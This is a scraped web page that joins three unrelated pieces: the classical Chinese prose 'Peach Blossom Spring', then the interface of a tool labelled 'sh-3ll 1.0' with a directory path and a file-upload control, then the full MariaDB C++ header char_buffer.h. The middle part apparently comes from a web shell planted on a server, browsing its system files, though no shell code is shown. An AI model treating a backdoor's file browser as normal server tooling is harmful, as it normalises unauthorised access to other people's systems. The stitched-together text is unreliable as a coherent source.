晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/usr/include/mysql/server/private/
Upload File :
Current File : //usr/include/mysql/server/private/char_buffer.h
#ifndef CHAR_BUFFER_INCLUDED
#define CHAR_BUFFER_INCLUDED
/*
   Copyright (c) 2023, MariaDB

   This program is free software; you can redistribute it and/or
   modify it under the terms of the GNU General Public License
   as published by the Free Software Foundation; version 2 of
   the License.

   This program is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
   GNU General Public License for more details.

   You should have received a copy of the GNU General Public License
   along with this program; if not, write to the Free Software
   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1335  USA
*/


/*
  A string buffer with length.
  This template class is useful to store things like database, table names,
  whose maximum length a small fixed known value. Mainly to be used as
  stack variables to store temporary values.

  Can store exact string copies or casefolded string copies.
  The stored value is returned as a LEX_CSTRING.
*/
template<size_t buff_sz>
class CharBuffer
{
  char m_buff[buff_sz + 1 /* one extra byte for '\0' */];
  size_t m_length;
  bool is_sane() const
  {
    return m_length <= buff_sz; // One byte is still left for '\0'
  }
  bool buffer_overlaps(const LEX_CSTRING &str) const
  {
    return str.str + str.length >= m_buff && str.str <= m_buff + sizeof(m_buff);
  }
public:
  constexpr size_t max_data_size() const
  {
    return buff_sz; // The maximum data size, without the trailing '\0' byte.
  }
  CharBuffer()
   :m_length(0)
  {
    m_buff[0]= '\0';
  }
  CharBuffer<buff_sz> & copy_bin(const LEX_CSTRING &str)
  {
    DBUG_ASSERT(!buffer_overlaps(str));
    m_length= MY_MIN(buff_sz, str.length);
    memcpy(m_buff, str.str, m_length);
    m_buff[m_length]= '\0';
    return *this;
  }
  CharBuffer<buff_sz> & copy_casedn(CHARSET_INFO *cs, const LEX_CSTRING &str)
  {
    DBUG_ASSERT(!buffer_overlaps(str));
    m_length= cs->cset->casedn(cs, str.str, str.length, m_buff, buff_sz);
    /*
      casedn() never writes outsize of buff_sz (unless a bug in casedn()),
      so it's safe to write '\0' at the position m_length:
    */
    DBUG_ASSERT(is_sane());
    m_buff[m_length]= '\0';
    return *this;
  }
  CharBuffer<buff_sz> & copy_casedn(CHARSET_INFO *cs, const LEX_CSTRING &str,
                                    bool casedn)
  {
    casedn ? copy_casedn(cs, str) : copy_bin(str);
    return *this;
  }
  // Append a string with casedn conversion
  CharBuffer<buff_sz> & append_casedn(CHARSET_INFO *cs, const LEX_CSTRING &str)
  {
    DBUG_ASSERT(is_sane());
    DBUG_ASSERT(!buffer_overlaps(str));
    size_t casedn_length= cs->casedn(str.str, str.length,
                                     m_buff + m_length, buff_sz - m_length);
    m_length+= casedn_length;
    DBUG_ASSERT(is_sane());
    m_buff[m_length]= '\0';
    return *this;
  }

  LEX_CSTRING to_lex_cstring() const
  {
    return LEX_CSTRING{m_buff, m_length};
  }

  const char *ptr() const { return m_buff; }
  size_t length() const { return m_length; }

};

#endif // CHAR_BUFFER_INCLUDED